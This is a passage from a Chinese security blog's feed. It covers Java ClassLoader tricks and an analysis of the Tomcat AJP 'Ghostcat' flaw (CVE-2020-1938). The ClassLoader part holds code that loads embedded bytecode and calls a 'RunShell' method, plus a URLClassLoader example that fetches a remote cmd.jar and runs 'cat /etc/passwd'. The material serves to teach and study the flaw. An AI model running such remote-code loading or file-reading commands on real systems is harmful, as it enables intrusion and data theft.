class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">59</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">16</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">83</span>, <span class="number">121</span>, <span class="number">115</span>, <span class="number">116</span>, <span class="number">101</span>, <span class="number">109</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">3</span>, <span class="number">111</span>, <span class="number">117</span>, <span class="number">116</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">21</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">47</span>, <span class="number">80</span>, <span class="number">114</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">116</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">109</span>, <span class="number">59</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">19</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">105</span>, <span class="number">111</span>, <span class="number">47</span>, <span class="number">80</span>, <span class="number">114</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">116</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">101</span>, <span class="number">97</span>, <span class="number">109</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">7</span>, <span class="number">112</span>, <span class="number">114</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">116</span>, <span class="number">108</span>, <span class="number">110</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">21</span>, <span class="number">40</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">59</span>, <span class="number">41</span>, <span class="number">86</span>, <span class="number">0</span>, <span class="number">33</span>, <span class="number">0</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">13</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">14</span>, <span class="number">0</span>, <span class="number">15</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">16</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">29</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">5</span>, <span class="number">42</span>, -<span class="number">73</span>, <span class="number">0</span>, <span class="number">1</span>, -<span class="number">79</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">17</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">6</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">6</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">18</span>, <span class="number">0</span>, <span class="number">15</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>, <span class="number">16</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, -<span class="number">110</span>, <span class="number">0</span>, <span class="number">3</span>, <span class="number">0</span>, <span class="number">6</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">60</span>, -<span class="number">72</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">18</span>, <span class="number">3</span>, -<span class="number">74</span>, <span class="number">0</span>, <span class="number">4</span>, <span class="number">76</span>, <span class="number">43</span>, -<span class="number">74</span>, <span class="number">0</span>, <span class="number">5</span>, <span class="number">77</span>, <span class="number">43</span>, -<span class="number">74</span>, <span class="number">0</span>, <span class="number">6</span>, <span class="number">78</span>, -<span class="number">69</span>, <span class="number">0</span>, <span class="number">7</span>, <span class="number">89</span>, <span class="number">45</span>, -<span class="number">73</span>, <span class="number">0</span>, <span class="number">8</span>, <span class="number">58</span>, <span class="number">4</span>, <span class="number">25</span>, <span class="number">4</span>, -<span class="number">74</span>, <span class="number">0</span>, <span class="number">9</span>, <span class="number">58</span>, <span class="number">5</span>, <span class="number">25</span>, <span class="number">5</span>, -<span class="number">58</span>, <span class="number">0</span>, <span class="number">21</span>, -<span class="number">78</span>, <span class="number">0</span>, <span class="number">10</span>, <span class="number">25</span>, <span class="number">5</span>, -<span class="number">74</span>, <span class="number">0</span>, <span class="number">11</span>, <span class="number">25</span>, <span class="number">4</span>, -<span class="number">74</span>, <span class="number">0</span>, <span class="number">9</span>, <span class="number">58</span>, <span class="number">5</span>, -<span class="number">89</span>, -<span class="number">1</span>, -<span class="number">20</span>, -<span class="number">79</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>, <span class="number">17</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">34</span>, <span class="number">0</span>, <span class="number">8</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">8</span>, <span class="number">0</span>, <span class="number">9</span>, <span class="number">0</span>, <span class="number">9</span>, <span class="number">0</span>, <span class="number">14</span>, <span class="number">0</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">19</span>, <span class="number">0</span>, <span class="number">11</span>, <span class="number">0</span>, <span class="number">29</span>, <span class="number">0</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">36</span>, <span class="number">0</span>, <span class="number">13</span>, <span class="number">0</span>, <span class="number">41</span>, <span class="number">0</span>, <span class="number">14</span>, <span class="number">0</span>, <span class="number">59</span>, <span class="number">0</span>, <span class="number">16</span>, <span class="number">0</span>, <span class="number">19</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">28</span>, <span class="number">0</span>, <span class="number">2</span>, -<span class="number">1</span>, <span class="number">0</span>, <span class="number">36</span>, <span class="number">0</span>, <span class="number">6</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">20</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">21</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">22</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">23</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">24</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">25</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">22</span>, <span class="number">0</span>, <span class="number">26</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">4</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">27</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">28</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>, <span class="number">29</span>};</span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> Class<?> findClass(String name) <span class="keyword">throws</span> ClassNotFoundException {</span><br><span class="line"> <span class="keyword">if</span> (name.equals(testClassName)) {</span><br><span class="line"> <span class="comment">// defineClass 将byteCode转换成类, 赋给testClassName</span></span><br><span class="line"> <span class="keyword">return</span> defineClass(testClassName, code, <span class="number">0</span>, code.length);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">super</span>.findClass(name);</span><br><span class="line"> }</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line"> <span class="comment">// 实例化ClassLoader</span></span><br><span class="line"> ClassLoaderTest loader = <span class="keyword">new</span> ClassLoaderTest();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="comment">// 加载testClassName</span></span><br><span class="line"> Class testClass = loader.loadClass(testClassName);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 创建testClassName类的实例</span></span><br><span class="line"> Object testInstance = testClass.newInstance();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 反射获取RunShell方法</span></span><br><span class="line"> Method method = testInstance.getClass().getMethod(<span class="string">"RunShell"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 反射调用RunShell方法</span></span><br><span class="line"> String result = (String) method.invoke(testInstance);</span><br><span class="line"></span><br><span class="line"> System.out.println(result);</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="/Java ClassLoader.resources/22DD42B8-02C3-4564-958A-F3EE016A1BC6.png" alt="a649692e0f08fa702fadafa1344657a6"></p><h3 id="URLClassLoader"><a href="#URLClassLoader" class="headerlink" title="URLClassLoader"></a>URLClassLoader</h3><p><img src="/Java ClassLoader.resources/0D79896A-AAEA-41AA-94AE-2BE76951A487.png" alt="a980f1cd0c42fdc7a308d6023078f5c9"></p><p>直接看园长的代码,URLClassLoader提供远程加载jar的能力<br><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.patrilic.test;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStream;</span><br><span class="line"><span class="keyword">import</span> java.net.URL;</span><br><span class="line"><span class="keyword">import</span> java.net.URLClassLoader;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Creator: yz</span></span><br><span class="line"><span class="comment"> * Date: 2019/12/18</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">TestURLClassLoader</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="comment">// 定义远程加载的jar路径</span></span><br><span class="line"> URL url = <span class="keyword">new</span> URL(<span class="string">"https://javaweb.org/tools/cmd.jar"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 创建URLClassLoader对象,并加载远程jar包</span></span><br><span class="line"> URLClassLoader ucl = <span class="keyword">new</span> URLClassLoader(<span class="keyword">new</span> URL[]{url});</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 定义需要执行的系统命令</span></span><br><span class="line"> String cmd = <span class="string">"cat /etc/passwd"</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 通过URLClassLoader加载远程jar包中的CMD类</span></span><br><span class="line"> Class cmdClass = ucl.loadClass(<span class="string">"CMD"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");</span></span><br><span class="line"> Process process = (Process) cmdClass.getMethod(<span class="string">"exec"</span>, String.class).invoke(<span class="keyword">null</span>, cmd);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 获取命令执行结果的输入流</span></span><br><span class="line"> InputStream in = process.getInputStream();</span><br><span class="line"> ByteArrayOutputStream baos = <span class="keyword">new</span> ByteArrayOutputStream();</span><br><span class="line"> <span class="keyword">byte</span>[] b = <span class="keyword">new</span> <span class="keyword">byte</span>[<span class="number">1024</span>];</span><br><span class="line"> <span class="keyword">int</span> a = -<span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 读取命令执行结果</span></span><br><span class="line"> <span class="keyword">while</span> ((a = in.read(b)) != -<span class="number">1</span>) {</span><br><span class="line"> baos.write(b, <span class="number">0</span>, a);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 输出命令执行结果</span></span><br><span class="line"> System.out.println(baos.toString());</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p><img src="/Java ClassLoader.resources/2452FF1E-ACE8-43E4-9DEC-5193891F5454.png" alt="240623cb8c7c024930e3600c5f69c1f9"></p><h2 id="0x03-相关链接"><a href="#0x03-相关链接" class="headerlink" title="0x03 相关链接"></a>0x03 相关链接</h2><p><a href="https://javasec.org/javase/ClassLoader/" target="_blank" rel="noopener">https://javasec.org/javase/ClassLoader/</a><br><a href="https://juejin.im/post/5cd02252f265da0393787d46" target="_blank" rel="noopener">https://juejin.im/post/5cd02252f265da0393787d46</a><br><a href="https://www.ibm.com/developerworks/cn/java/j-lo-classloader/index.html" target="_blank" rel="noopener">https://www.ibm.com/developerworks/cn/java/j-lo-classloader/index.html</a><br><a href="https://juejin.im/post/5d1efae26fb9a07ea6489355#heading-6" target="_blank" rel="noopener">https://juejin.im/post/5d1efae26fb9a07ea6489355#heading-6</a><br><a href="https://www.artima.com/insidejvm/ed2/jvm4.html" target="_blank" rel="noopener">https://www.artima.com/insidejvm/ed2/jvm4.html</a><br><a href="https://blog.csdn.net/csdn_ds/article/details/79106006" target="_blank" rel="noopener">https://blog.csdn.net/csdn_ds/article/details/79106006</a><br><a href="https://blog.csdn.net/justloveyou_/article/details/72231425" target="_blank" rel="noopener">https://blog.csdn.net/justloveyou_/article/details/72231425</a></p>]]></content>
<summary type="html">
<blockquote>
<p>@Author: Patrilic<br>@Time: 2020-4-06 23:17:44</p>
</blockquote>
<p><img src="/wallpaper/silhouette_1.jpg" alt></p>
<h2 id="
</summary>
<category term="Java_Sec" scheme="http://patrilic.top/categories/Java-Sec/"/>
<category term="ClassLoader" scheme="http://patrilic.top/tags/ClassLoader/"/>
</entry>
<entry>
<title>Tomcat-Ajp协议漏洞分析(CVE-2020-1938)</title>
<link href="http://patrilic.top/2020/03/25/Tomcat-Ajp%E5%8D%8F%E8%AE%AE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90(CVE-2020-1938)/"/>
<id>http://patrilic.top/2020/03/25/Tomcat-Ajp协议漏洞分析(CVE-2020-1938)/</id>
<published>2020-03-25T11:16:24.000Z</published>
<updated>2020-03-25T11:18:49.291Z</updated>
<content type="html"><![CDATA[<blockquote><p>@Author: Patrilic<br>@Time: 2020-3-25 19:16:24</p></blockquote><p><img src="/wallpaper/girl_umbrella11.jpg" alt></p><h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>CVE-2020-1938 又名GhostCat, 之前引起了一场风雨,由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。</p><h2 id="0x01-Build"><a href="#0x01-Build" class="headerlink" title="0x01 Build"></a>0x01 Build</h2><p>Mac下的MxSrvs预装了Tomcat 8.5.16版本,可以直接使用</p><p><img src="/Tomcat-Ajp协议漏洞分析.resources/D46C3E9A-5422-45C4-8BC7-A56BAEAECC79.png" alt="3607445bc52ecdd4057ef904486ecadd"></p><p>开放了<code>8005|8009|8080</code>端口</p><p>在<code>/Applications/MxSrvs/bin/tomcat/bin/catalina.sh</code>第一行export一个变量<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">export JPDA_ADDRESS=9001</span><br></pre></td></tr></table></figure></p><p>然后将<code>/Applications/MxSrvs/bin/tomcat/bin/startup.sh</code>最后一行修改为<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">exec "$PRGDIR"/"$EXECUTABLE" jpda start "$@"</span><br></pre></td></tr></table></figure></p><p>可以看到已经开启了9001端口<br><img src="/Tomcat-Ajp协议漏洞分析.resources/10D98D94-5613-43D4-BC7A-A01F77253F3D.png" alt="f1f7da80f2efd200c84f45a5e42453ae"></p><p>然后我们导入Tomcat源码包:<br>直接用maven,一步到位<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?xml version="1.0" encoding="UTF-8"?></span></span><br><span class="line"><span class="tag"><<span class="name">project</span> <span class="attr">xmlns</span>=<span class="string">"http://maven.apache.org/POM/4.0.0"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">xsi:schemaLocation</span>=<span class="string">"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">modelVersion</span>></span>4.0.0<span class="tag"></<span class="name">modelVersion</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>Tomcat<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>tomcat-coyote<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>1.0-SNAPSHOT<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">dependencies</span>></span></span><br><span class="line"> <span class="comment"><!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-coyote --></span></span><br><span class="line"> <span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>org.apache.tomcat<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>tomcat-coyote<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>8.5.16<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">dependency</span>></span></span><br><span class="line"> <span class="comment"><!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina --></span></span><br><span class="line"> <span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>org.apache.tomcat<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>tomcat-catalina<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>8.5.16<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">dependency</span>></span></span><br><span class="line"> <span class="comment"><!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-jasper --></span></span><br><span class="line"> <span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>org.apache.tomcat<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>tomcat-jasper<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>8.5.16<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">dependency</span>></span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="tag"></<span class="name">dependencies</span>></span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="tag"></<span class="name">project</span>></span></span><br></pre></td></tr></table></figure></p><p>设置一个Remote Debug的配置<br><img src="/Tomcat-Ajp协议漏洞分析.resources/4732F849-2811-4BD8-9DB9-C6F29D0B38CF.png" alt="1be5bb0aaf28c983ba3fb724202bbd8e"></p><h2 id="0x02-Poc"><a href="#0x02-Poc" class="headerlink" title="0x02 Poc"></a>0x02 Poc</h2><p>利用 <a href="https://github.com/threedr3am/learnjavabug" target="_blank" rel="noopener">https://github.com/threedr3am/learnjavabug</a></p><p>文件读取<br><img src="/Tomcat-Ajp协议漏洞分析.resources/64893BCC-6922-412A-8CEE-F63616D643E3.png" alt="05e3a873d645296b07adbb972dbf4fb8"></p><p>文件包含<br><img src="/Tomcat-Ajp协议漏洞分析.resources/EB2FD76B-182E-4C72-82BE-6E12661F9DBD.png" alt="f27c24c0952108f232076a4a2f62c1b7"></p><h2 id="0X03-Tomcat-AJP-Connector"><a href="#0X03-Tomcat-AJP-Connector" class="headerlink" title="0X03 Tomcat AJP Connector"></a>0X03 Tomcat AJP Connector</h2><p>在具体分析漏洞之前,先来了解一下Tomcat-Ajp是个什么东西<br><img src="/Tomcat-Ajp协议漏洞分析.resources/EB2FD76B-182E-4C72-82BE-6E12661F9DBD.png" alt="f27c24c0952108f232076a4a2f62c1b7"></p><p>在tomcat目录的<code>/conf/server.xml</code>下配置了Connector<br><img src="/Tomcat-Ajp协议漏洞分析.resources/E1665138-12C8-4479-BA9F-257844B7D4EC.png" alt="b61a0e70e7a0d26073aa2d0fe5dcb402"></p><p>在默认情况下,会开启8080 HTTP协议端口和8009 Ajp协议端口</p><p><img src="/Tomcat-Ajp协议漏洞分析.resources/892A1186-55E4-488B-8B0B-8497FBD84D84.png" alt="9b345b3f4cce9c0b1f835d972a9ccc77"></p><p>简单来说,Tomcat提供Servlet容器,与其他静态资源HTTP服务器(IIS,Nginx等)集成,Tomcat和其他HTTP服务器之间需要通过专门的插件来通信,这就是Connector存在的意义</p><h2 id="0x04-漏洞分析"><a href="#0x04-漏洞分析" class="headerlink" title="0x04 漏洞分析"></a>0x04 漏洞分析</h2><h3 id="DefaultServlet-实现任意文件读取"><a href="#DefaultServlet-实现任意文件读取" class="headerlink" title="DefaultServlet 实现任意文件读取"></a>DefaultServlet 实现任意文件读取</h3><p>tomcat在处理AJP请求的时候,主要是通过<br><code>/tomcat-coyote-8.5.16.jar!/org/apache/coyote/ajp/AjpProcessor.class#prepareRequest()</code></p><p>所以我们在AjpProcessor.class的第232行处打断点,开启Debug<br><img src="/Tomcat-Ajp协议漏洞分析.resources/EC92C7D7-E71C-450D-B64E-D1B9B33B95B0.png" alt="6a8b3adcca83195befc643a3392c1790"></p><p>利用poc发送请求<br><img src="/Tomcat-Ajp协议漏洞分析.resources/766035A9-2CF3-4D7D-BFB7-3CA811B18AF4.png" alt="bbc0da7e3954f284c117d644c17c2b10"></p><p>前面通过一系列getXXX()方法,收集请求的协议,uri,ip,host,MIME等信息<br><img src="/Tomcat-Ajp协议漏洞分析.resources/80B5AED2-8C03-4EFE-9FA0-9E43E8A2D8C4.png" alt="b0f40bb3268ca77624dccedff3917b46"></p><p>然后通过一个switch()语句, 到<code>request.setAttribute()</code>方法,设置了request的三个属性<br><img src="/Tomcat-Ajp协议漏洞分析.resources/0D701E15-7023-47B9-BDBB-F140CA3404C7.png" alt="4e0492de670614f7be25ad25348554cf"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">javax.servlet.include.request_uri</span><br><span class="line">javax.servlet.include.path_info</span><br><span class="line">javax.servlet.include.servlet_path</span><br></pre></td></tr></table></figure><p>进入<code>this.getAdapter().service(this.request, this.response);</code><br><img src="/Tomcat-Ajp协议漏洞分析.resources/41DFA69B-6124-429A-9155-19BA6A9E0FDD.png" alt="497059d25d1991783848867fcc68df0c"></p><p><code>/org/apache/catalina/connector/CoyoteAdapter.class:330</code>反射处理了request,response<br><img src="/Tomcat-Ajp协议漏洞分析.resources/20F000A2-742D-4F41-9BB4-CE8108DC5D32.png" alt="53e13cacce6fe164f3c80a34069745dd"></p><p><code>org/apache/catalina/servlets/DefaultServlet.class</code>:<br><code>service()</code> -> <code>doGet()</code> -> <code>serveResource()</code><br><img src="/Tomcat-Ajp协议漏洞分析.resources/0CF38B5E-89D6-4155-A3AD-61FBB94B372B.png" alt="7f97fd07dd91365ddf99edd534ac3320"></p><p>调用<code>getRelativePath()</code>获取相对路径<br><img src="/Tomcat-Ajp协议漏洞分析.resources/F2679FBC-89E9-4CF6-9A44-A5DB10D97D98.png" alt="22a68b3ce61392d4c2dcad32d9739d3b"></p><p><img src="/Tomcat-Ajp协议漏洞分析.resources/D18C96AB-48D7-41CF-8C88-0DE1EF3EBDA3.png" alt="1c909083047e8acdd5ecd3acc55cf433"></p><p>往下走经过一个else判断,进入<code>this.resources.getResource(path)</code><br><img src="/Tomcat-Ajp协议漏洞分析.resources/D6EE7333-49D4-4008-9033-50B77FBA2EAD.png" alt="250ed69f892dca8efb9c5319e4182613"></p><p><img src="/Tomcat-Ajp协议漏洞分析.resources/2305BA7C-7D0D-4C13-97A7-3A236630065C.png" alt="bc0f18a692524274b8806f3e8256a8eb"></p><p>跟到<code>/org/apache/tomcat/util/http/RequestUtil.class#normalize</code>函数的时候,发现对穿越字符进行了过滤<br><img src="/Tomcat-Ajp协议漏洞分析.resources/8D8B03A8-0F1E-451C-B541-D7FEA54E9EEB.png" alt="4f2fa281bdfba9d49c719e7be1899ec0"></p><p>所以不能逃脱webapp目录</p><p>之后利用File类进行文件读取,并经过一系列检查<br><img src="/Tomcat-Ajp协议漏洞分析.resources/F2CAFF5C-8A0B-4805-B319-A98F1CDF7539.png" alt="5b3e886235a957d809d46f374579a4f6"></p><p>部分调用栈<br><img src="/Tomcat-Ajp协议漏洞分析.resources/40E61841-C26F-4BDF-B9E4-FFC0A4470B1B.png" alt="d7758aba4a97a6b5098c35fc49fa4b03"></p><h3 id="jspservlet-文件包含"><a href="#jspservlet-文件包含" class="headerlink" title="jspservlet 文件包含"></a>jspservlet 文件包含</h3><p>调用方式和上面的大体相同,直到service()函数<br><img src="/Tomcat-Ajp协议漏洞分析.resources/31560930-30BD-4A64-AD4B-AF888E43A33A.png" alt="50d5fa52e3541c9308c9fc6194c69dce"></p><p>调用了<br><code>org/apache/jasper/servlet/JspServlet.class#service</code></p><p><img src="/Tomcat-Ajp协议漏洞分析.resources/1B2CDE00-47CF-4B89-9E4F-416D5BFB8D64.png" alt="b6ca5f6121c0f2e6610fc29df7bb4aed"></p><p>拼接后,直接到<code>serviceJspFile</code>方法<br><img src="/Tomcat-Ajp协议漏洞分析.resources/5B9FF311-A60B-4588-AACB-BB4F17A780D3.png" alt="66cdee9873c78cc6142a3a79c138d26e"></p><p><img src="/Tomcat-Ajp协议漏洞分析.resources/F55AA355-83E2-4913-99DC-85040DF1F7F2.png" alt="102d1049bfc3e8ae94ba9736cf02ac72"></p><p>部分调用栈<br><img src="/Tomcat-Ajp协议漏洞分析.resources/DE369B86-9015-4D9E-AAC0-14EEB59B1F0D.png" alt="c2eb005ef5c082377c5be726963a321a"></p><h2 id="0x05-相关链接"><a href="#0x05-相关链接" class="headerlink" title="0x05 相关链接"></a>0x05 相关链接</h2><p><a href="https://www.chaitin.cn/zh/ghostcat" target="_blank" rel="noopener">https://www.chaitin.cn/zh/ghostcat</a><br><a 